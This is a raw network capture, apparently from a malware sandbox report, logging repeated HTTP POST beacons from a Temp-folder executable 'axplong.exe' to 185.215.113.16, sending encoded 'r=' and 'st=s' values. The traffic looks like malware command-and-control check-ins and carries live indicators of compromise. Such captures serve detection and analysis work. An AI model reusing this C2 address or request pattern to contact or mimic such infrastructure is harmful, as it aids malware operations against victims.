Sep 27, 2024 17:42:12.408096075 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:12.636272907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49756	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:12.745692015 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:13.506381989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:13.507097960 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:13.733561039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49759	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:13.853938103 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:14.569432974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:14.570529938 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:14.803164005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49762	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:14.916593075 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:15.610800028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:15.611680984 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:15.839762926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49765	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:15.963418007 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:16.663414001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:16.759260893 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:16.987288952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49766	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:17.374164104 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:18.096131086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:18.098745108 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:18.329432011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49769	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:18.448019028 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:19.162811041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:19.163757086 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:19.395610094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49772	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:19.691888094 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:20.351269007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:20.352669954 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:20.780484915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49775	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:20.907125950 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:21.764983892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:21.766148090 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:22.024318933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49778	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:22.202411890 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:22.946219921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:22.947155952 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:23.208220959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49781	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:23.334587097 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:24.577430964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:24.578175068 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:24.579973936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:24.816307068 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:25.128937006 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:25.628432035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:25.629648924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:25.859296083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49784	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:25.980649948 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:26.706039906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
